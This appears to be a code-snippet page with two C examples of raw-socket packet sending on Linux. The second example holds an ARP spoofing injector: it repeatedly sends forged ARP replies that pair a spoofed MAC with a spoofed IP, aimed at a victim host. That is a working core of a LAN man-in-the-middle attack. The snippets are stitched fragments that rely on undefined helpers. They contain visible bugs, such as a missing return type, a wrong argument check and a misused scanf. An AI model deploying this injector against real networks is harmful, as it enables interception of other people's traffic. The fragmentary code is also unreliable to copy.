示例#1
0
int main(int argc, char **argv){

    char* interface = argv[1];
    unsigned char *packet_header;

    struct sockaddr sa;
    int sock, ethhdr_len;
    uint16_t len ;
    unsigned char buffer[100] ;
    struct frame header ;
    FILE *fp;
    struct ifreq ethreq;
    long int counter = 0;

    if(argc != 6){
        printf("Wrong number of arguments\n") ;
	printf("Usage:\n\t./node interface <input file> <own mac> <router mac> <output file>\n\n") ;
	exit(0) ;
    }

    outFile = argv[5] ;

    sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    if (sock == -1) { 
        printf("when opening socket in PAListener");
    }

    fp = fopen(argv[2], "rb") ;
    if(fp == NULL)
        printf("No such file exists\n") ;

    header.type = 0x4e ;

    BindRawSocketToInterface(argv[1], sock, ETH_P_ALL);
    CreateEthernetHeader(&header, argv[3], argv[4], ETH_P_ALL);
    ethhdr_len = sizeof(struct sniff_ethernet);
    pthread_t interfaceSniffer;
    int res ;
    res = pthread_create(&interfaceSniffer, NULL, sniffer, (void *)sock); 
    if( res != 0){
	fprintf(stderr, "TCP read thread creation failed\n") ;
	exit(EXIT_FAILURE) ;
    }

    printf("hello\n") ;
    int wait ;
    scanf("Enter when ready %d", &wait) ;

    while(!feof(fp)){
	if (fscanf(fp, "%s" , header.buf) == EOF) 
	    break ;
	printf("Sent %s\n", header.buf) ;

        if(write(sock,&header,ethhdr_len+FRAME_LEN) < 0){
            perror("sendto");
        }
        usleep(100) ;
    }
    pthread_join(interfaceSniffer, NULL) ;
}
示例#2
0
injector() {
	
	int raw;
	int counter=MAX_PACKETS;
	EthernetHeader *ethernet_header;
	ArpHeader * arp_header;
	void * buff = malloc(sizeof(EthernetHeader)+sizeof(ArpHeader));
	
	/* create the raw socket */
	raw = CreateRawSocket(ETH_P_ALL);
	/* bind socket to interface */
	BindRawSocketToInterface(interface,raw,ETH_P_ALL);

	while(counter) {

			ethernet_header = (EthernetHeader*)buff;
			arp_header = (ArpHeader*)(buff+sizeof(EthernetHeader));
			/* change the ethernet headers */
			/* copy the source address of the packet as the destination address */

			memcpy(ethernet_header->destination, (void*)ether_aton(victim_mac),6);

			/* copy the spoofed MAC as the source address of the packet */
			memcpy(ethernet_header->source, (void*)ether_aton(spoofed_mac),6);
			ethernet_header->protocol = htons(ETH_P_ARP);

			/* change the arp headers accordingly */
			/* make it into an arp reply */
			arp_header->hardware_type=256;
			arp_header->protocol_type=htons(ETH_P_IP);
			arp_header->opcode = htons(ARPOP_REPLY);
			arp_header->hard_prot_len=1030;

			/* adjust the MAC addresses and IP addresses accordingly in the arp header */
			memcpy(arp_header->source_hardware, (void*)ether_aton(spoofed_mac),6);
			memcpy(arp_header->dest_hardware, (void*)ether_aton(victim_mac), 6);

			inet_aton(victim_ip, arp_header->dest_ip);
			inet_aton(spoofed_ip, arp_header->source_ip);

			

			/* send it out */
			if(SendRawPacket(raw, buff, sizeof(EthernetHeader)+sizeof(ArpHeader))) {
				printf("injector: inject ARP reply\n");
			}
			else {
				printf("injector: unable to inject\n");
			}

			PrintPacketInHex(buff,sizeof(EthernetHeader)+sizeof(ArpHeader));			

			counter--;
	}
	free(buff);
	close(raw);	
}
/* argv[1] is the device e.g. eth0
   argv[2] is the number of packets to send
*/ 
int main(int argc, char **argv){
	if (argc < 1){
		perror("Arguments?\n");
		return 1;
	}

	int raw;
	unsigned char* packet;
	struct ethhdr *ethernet_header;
	struct iphdr *ip_header;
	struct tcphdr  *tcp_header;
	unsigned char *data;	
	int num_of_pkts;
	int pkt_len;
	
	/* Create the raw socket */
	raw = CreateRawSocket(ETH_P_ALL);

	/* Bind raw socket to interface */
	BindRawSocketToInterface(argv[1], raw, ETH_P_ALL);
	//num_of_pkts = atoi(argv[2]);

	ethernet_header = CreateEthernetHeader();
	ip_header = CreateIPHeader();
	tcp_header = CreateTcpHeader();
	data = CreateData(DATA_SIZE);

	/* Create PseudoHeader and compute TCP Checksum  */
	CreatePseudoHeaderAndComputeTcpChecksum(tcp_header, ip_header, data);

	//pkt_len = sizeof(struct ethhdr) + sizeof(struct iphdr);
	pkt_len = sizeof(struct ethhdr) + ntohs(ip_header->tot_len);

	packet = (unsigned char *) malloc(pkt_len);
	memcpy(packet, ethernet_header, sizeof(struct ethhdr));
	memcpy((packet + sizeof(struct ethhdr)), ip_header, ip_header->ihl*4);
	memcpy((packet + sizeof(struct ethhdr) + ip_header->ihl*4),tcp_header, tcp_header->doff*4);
	memcpy((packet + sizeof(struct ethhdr) + ip_header->ihl*4 + tcp_header->doff*4), data, DATA_SIZE);

	//while((num_of_pkts--)>0){
		if(!SendRawPacket(raw, packet, pkt_len))
			perror("Error sending packet");
		else
			printf("Packet sent successfully\n");
	//}

	/*free(ethernet_header);
	free(ip_header);
	free(tcp_header);
	free(data);
	free(packet);*/

	close(raw);

	return 0;
}